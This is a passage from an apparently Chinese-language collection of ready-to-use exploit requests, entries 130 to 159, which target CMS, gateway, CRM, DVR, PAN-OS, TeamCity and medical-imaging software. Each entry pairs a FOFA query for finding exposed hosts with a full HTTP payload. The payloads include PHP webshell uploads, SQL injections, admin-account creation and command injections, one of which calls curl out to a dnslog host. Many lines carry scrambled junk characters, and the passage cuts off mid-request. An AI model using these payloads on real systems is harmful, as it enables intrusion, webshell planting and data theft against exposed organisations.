% O% w2 Y4 Z5 z7 f  ~, V* J& YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 E! T1 C) Z8 a5 N5 t; `9 U( _Accept: */*
' G! F' C* Q+ @+ VAccept-Encoding: gzip, deflate
* C8 a. V% K9 l) j2 xConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


+ m/ L& D3 V: _+ F+ f6 X+ b130. Laykefu客服系统任意文件上传
: P3 l1 O1 n  K$ [/ @6 aFOFA：icon_hash="-334624619"
  U3 Q4 p8 W8 n- R* APOST /admin/users/upavatar.html HTTP/1.1
2 V5 @* z; J0 S& O, gHost: 127.0.0.1
* t6 |/ K; g. yAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
5 J1 N0 g8 @$ w- I8 v+ E6 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
, F0 y; T. A8 j  v! ?$ f0 dAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
/ a  X& e9 v( v( D: a3 J  bConnection: close

, ?' A' k$ [' U3 @3 t% o5 q------WebKitFormBoundary3OCVBiwBVsNuB2kR
  C3 H) u( ?/ |4 _* xContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

% C+ C. N8 y7 ^% x3 {
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
. g8 E9 C1 p6 Q0 @$ d后台地址：http://localhost:8080/tmall/admin
/ P3 J( A2 F: \- D# u. I- Rhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
  W) q% W* Q& e$ R) UCVE-2024-27198
FOFA：body="Log in to TeamCity"
0 M0 {: \+ j* Z2 h7 ]5 j" wPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& M7 j: L& y, V- K  N" CAccept: */*
; e( }$ u* r1 S  YContent-Type: application/json
Accept-Encoding: gzip, deflate

' b) L5 L- n" M# z' b  h' K{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
3 b/ g! G- Q& m6 t8 m- W; q

+ s. S# }0 h0 h& S6 P2 JCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
" T2 K! N% M8 V3 c  r/update/../admin/diagnostic.jsp
! J4 H8 w7 D* H" y% ~

CVE-2024-27198-RCE.py
& B+ i+ ]6 M  e  i+ U) V+ Z
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  s! O# q' h5 Q/ i' x, }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

5 s  _, R; L  |* y9 S# c<?php system("cat /etc/passwd");unlink(__FILE__);?>
7 U- {" R; C" w0 v( Q------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

% Y' s2 Q3 m& |5 s  O. E& J; q7 P& \
+ H9 t) A  h6 M( S
$ }  P, y  ^7 w) z7 j5 H134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
, S! ?/ I  f! xFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
9 y* d& L1 T7 v5 R" XCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
  K8 E# ^5 y6 b( kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# |2 |: ]" o. k) e6 IAccept: */*
  [, A4 `  i! l7 pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
& W$ z; C( J" S7 ^: J6 d$ KSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
) ^  S  o! [( c5 eTe: trailers
Connection: close
* ~: c; G+ E6 ^2 j# LContent-Type: application/x-www-form-urlencoded
8 l0 [% k+ {: DContent-Length: 263
% J5 ?% \8 @0 g2 j( Q+ h: N
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
; e0 J% a5 E9 e+ wCVE-2024-2022
, x/ r0 L4 i: J  YNetentsec NS-ASG Application Security Gateway 6.3版本
& d2 o& Z7 }" i& ?5 lFOFA：app="网康科技-NS-ASG安全网关"
3 S* x4 X% [9 {* D! w: GGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: n* R1 ]5 Y, ?# L" s1 ?4 p7 N# _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
! p+ R* h7 f, Q" i; VAccept-Language: en
1 q, }3 O# f" h( TAccept-Encoding: gzip

, I1 C7 C" v4 p4 r' [9 U
6 z. `$ J; y8 Z2 c1 X$ x137. 福建科立迅通信指挥调度平台down_file.php sql注入
+ {4 E; Z0 a7 Y3 g% ICVE-2024-2620
* k$ v" c2 |) s" k3 dFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 H+ y  G$ b5 z) o: TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

" t' W" v  M9 m. ?" j9 B7 y
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
) h$ R0 O. q% g6 r0 v5 I% UHost: x.x.x.x
; o% G4 _, A/ b  l% JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  ^! ?  T" a6 ?9 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' B# `" _7 x& g. LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
) y: f. U" j3 |Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ D+ Q# @/ R3 |0 T+ a. KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ x8 F2 l6 X8 B4 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( N2 ?* u9 L( }' R0 \- HAccept-Encoding: gzip, deflate, br
: `: _/ H" A( R2 U0 l, ]! |Connection: close
9 Z% W' q1 o2 H3 h) }) [Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

- v- Z4 ~+ j/ h) e) L3 [& w0 ~% X& w! M
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
' \1 q$ v7 r4 x$ [4 m$ A# `FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
! N  d" E/ l, ]* o) ~9 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; M: D8 G# H! j- B- c( d% NAccept-Encoding: gzip, deflate, br
8 Z. k9 j9 `9 g- l9 [3 gConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* X7 g( `# x3 j) S$ Q. B& U8 JFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
6 \7 B0 G/ z6 B2 `Host: your-ip
2 U. d( R% }( g- j' \User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
) h6 Y( V' I4 ~5 z+ ?& r/ y

* R3 @/ t/ O7 d, \dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
" U! m: K* g# _4 u: p7 y% V

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
, `; w6 t6 Q( i( }) f& Z. @143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
1 ?( }6 k" I3 T! MPAYLOAD

: k2 E1 q- e! \! ?( o( }9 d6 P144. D-Link nas_sharing.cgi 命令注入
( o% G( G4 g& b/ Y% lFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
' O! I" G1 O; s- Q( ]& yGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
& s4 u) j% k' d0 F, MUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
. q6 s3 L3 o$ U2 j: Y% C: B7 zAccept: */*
( l! ]" s2 W, \3 E% G% lAccept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
" m+ \% W5 S, ], \/ ~FOFA：icon_hash="-631559155"
, _, j$ l3 A) S8 l  MGET /global-protect/login.esp HTTP/1.1
2 q. g( T7 _4 m! X: EHost: 192.168.30.112:1005
- n  E% t  ]' d6 r' t0 t+ p) x8 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
% _, [& I6 n5 A8 U' z& p0 n0 J
' F2 E+ a* B) h0 k4 ~3 w
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
, n. Z2 N; {! p; Q* i& L$ Y3 LGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
; f4 _( ~) K4 O7 P0 }2 m" y# n) LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
6 b2 @9 J3 \/ U" a% I( nAccept-Encoding: gzip, deflate
Connection: close
( ~% f7 v$ E; g! h

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
" G; H, x( l. _2 R, AGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
5 m3 T6 w! M0 _Cache-Control: max-age=0
Connection: close
  l0 _; n9 G2 j% D+ `, F$ ]4 g
: K. C) o) T' ]
  [" f3 S8 |, f* H- T148. CrushFTP 认证绕过模板注入
, I  F) [9 C) RCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
4 g$ ~6 D* [4 k6 e& _4 ?# S
3 t  w% r; V: T8 j+ G149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
3 l+ V* w0 L$ T0 l5 W
) i( B( Y3 m; Q% dPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 X" h, z# g8 a- R* h& yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  r& g- y+ V( N! b/ p7 n1 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
* D, Y6 A9 |9 F. E1 b. I' P4 oAccept-Language: zh-CN,zh;q=0.9
  [" k' b. Q- ]  r8 ~0 B  xContent-Type: application/json;charset=UTF-8
" ]  s/ r+ I3 E1 w& SConnection: close

" g% m- k. `- r# e{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
1 T, q+ w3 d/ x4 `- M
' @5 q+ B2 }) ~150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
7 b# \# T/ \" b* K; D8 r3 G( ^POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
' z( ~* j1 d3 b! zContent-Type: application/json;charset=UTF-8
Connection: close
7 P3 F. W2 B' Q) G: X' }Content-Length: 339

8 q- {/ V, u% H0 ^/ f9 B* N. k{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


7 f) R, l) {6 V+ L8 ^151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
* V. G  J' ^: b2 BGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
1 A( F8 y9 o7 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; ]! }4 {% ?% Z0 B+ `Connection: close
3 I7 s8 b: d5 H: y1 n; DAccept-Encoding: gzip
- Y/ N0 r& P- {
( L& S: S: u" b; \7 }
% e. p2 G, L& z1 Q152. Progress Kemp LoadMaster 远程命令执行
$ A) S0 F2 M) c2 VCVE-2024-1212
# s, h' ~) U1 VLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
8 t! Z, o6 a; U* k8 c( |/ |FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
% W6 C  ?5 K" y1 W0 L7 Y! tHost: x.x.x.x
5 `* @& G) x3 d# O7 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
9 l$ R6 T0 N9 R; yAccept: */*
Accept-Language: en
  P; b* q4 W3 a/ J, uAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

7 A7 @9 n+ }, H& E* q
% W1 N) Z# ?! T6 E7 f2 H5 ~153. gradio任意文件读取
# @& a7 u5 ^: O& }CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
7 h+ ~; e6 Z- `6 H$ H- Qhttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
3 a0 \1 ^" \/ A% Y; S, |. zPOST /component_server HTTP/1.1
3 N7 H: ]* H& f; Q# xHost: x.x.x.x
- u$ ^: `$ @3 Y( H& \8 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
& J3 V4 z6 e9 d. y1 jContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
, z1 Y5 Q1 u+ e
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
0 |& \0 v- s2 M1 W

第三步访问
9 i, @& X: I7 _http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

" c- L- l/ u6 n5 }
" m0 v, [0 b$ _/ E$ }7 u  F154. 天维尔消防救援作战调度平台 SQL注入
# p; x1 P/ ^# JCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
9 q  C1 p0 L2 M. E, H  D. [4 H% @Host: x.x.x.x
* |( W/ l% P% b2 U1 u% Q: bContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
1 ~7 W! ]/ s+ h3 Y6 E$ d- oOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Y" P2 o; H1 f6 i! NReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
0 h: y: l9 |5 m9 A: x/ n7 SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
- x+ F, n* J: S, h0 K; PConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
" J5 q  w+ ^+ Y$ ?POST /include/file.php HTTP/1.1
( J7 Z8 g, W& U2 u8 I- k& [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
9 q1 B8 W4 J- CAccept: application/json, text/javascript, */*; q=0.01
  M( E( \( q3 g; t# jAccept-Encoding: gzip, deflate, br
9 Y" z! v/ _# m( z7 x3 x8 hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
9 G) T! E' t* e. O1 @X-Requested-With: XMLHttpRequest
+ x! k" \' u5 f, T2 ^: F+ J& d, I
# G' d7 w5 W3 M- {+ _-----------------------------qttl7vemrsold314zg0f
/ ^: q" _4 z- D8 I3 P5 n1 Q1 hContent-Disposition: form-data; name="file"; filename="test.php"
2 K# A$ f$ T" r: Z# j) [" iContent-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

  U2 v5 p4 u. q6 Z' q: [% h# _. j
2 T/ J/ t: o+ D6 r* H6 \访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
5 o, o7 G9 E7 w4 J
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
+ I  k7 j: |% U- y6 L2 {" i8 z
4 A, f9 z; p7 ?- Y# J
9 l1 P4 u: y4 W, |% dPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  [& f) Q( j: vContent-Length: 0
6 K( }- ~' w0 q8 SCookie: uid=1
Accept-Encoding: gzip


6 h  C8 k8 B1 ?" e157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
% u6 O0 d; n* ?- L8 a, xPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
0 Q2 H8 Z5 j$ ?( m* `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
5 g: L3 w( G; f3 m, j( |Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
( h7 }! \1 M! L, B" C3 J0 pConnection: close
* O7 [6 a; @: m& h' TContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
/ {3 f  O; B$ y- h! h/ F$ ^6 h, T
/ E$ r# D; P! ]# q. l/ K" }3 s9 j2 |------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
: D, q, w) v& kContent-Type: application/octet-stream
$ I+ X; v# Z6 ?
nyhelxrutzwhrsvsrafb
- ~+ Y* V# @) D' r3 R------WebKitFormBoundary1imovELzPsfzp5dN
' m! A; X1 L7 a! c9 @; DContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
5 Z6 a/ X% g) Z7 i2 u. o! ]Content-Disposition: form-data; name="form"
) N( w6 A! Y4 [& M- ]) K1 s2 f) m
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

/ J7 N" y# ^% J  v3 G. f5 Mnull
------WebKitFormBoundary1imovELzPsfzp5dN
( a6 P0 R, a/ @/ W* GContent-Disposition: form-data; name="filetitile"

null
( y4 C( ]6 p: E# a  U/ ^) l------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
9 f  q6 E: q% V2 I5 U. `& c1 S6 s. b2 l/ N
( c7 U+ P4 b" H+ a* N# w% hnull
6 v" o7 ^; I- n  d0 Q6 A, A------WebKitFormBoundary1imovELzPsfzp5dN--
- r; `& O4 `- m
' i% A, H1 b; ]& T6 \! w
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
, Z5 c- l; c1 \9 h
158. Mura-CMS-processAsyncObject存在SQL注入
" b8 S& ~& c1 E& V8 A$ k6 x' _CVE-2024-32640
+ |5 R! j! _- I7 q* D% E4 sFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
9 j0 D& p. Z8 m+ aContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
1 y) p4 N5 N# h8 q1 p
5 y; o0 ?6 O" j% ]1 b" T8 k
7 e! Z1 g. |; X* z, m159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
# G6 e% @6 B( y3 A! m& i& |POST /webservices/WebJobUpload.asmx HTTP/1.1
1 _+ _- s0 U+ A. @3 {9 {Host: x.x.x.x
6 j. ]/ l0 r: e( |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
, N: A) e, J7 [2 `6 q2 f( _$ OConnection: close
  n8 y! R8 l+ J( |. Q+ K3 pContent-Type: text/xml; charset=utf-8
0 j: T. B( k  @# A1 _. z" JSoapaction: "http://rainier/jobUpload"
* M. F# I6 p- X5 l! @& N% o1 w
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
1 ]& Y' A" L0 e5 o9 I) _<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
' P8 v+ G/ i, \1 ~1 T! v; e7 d<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
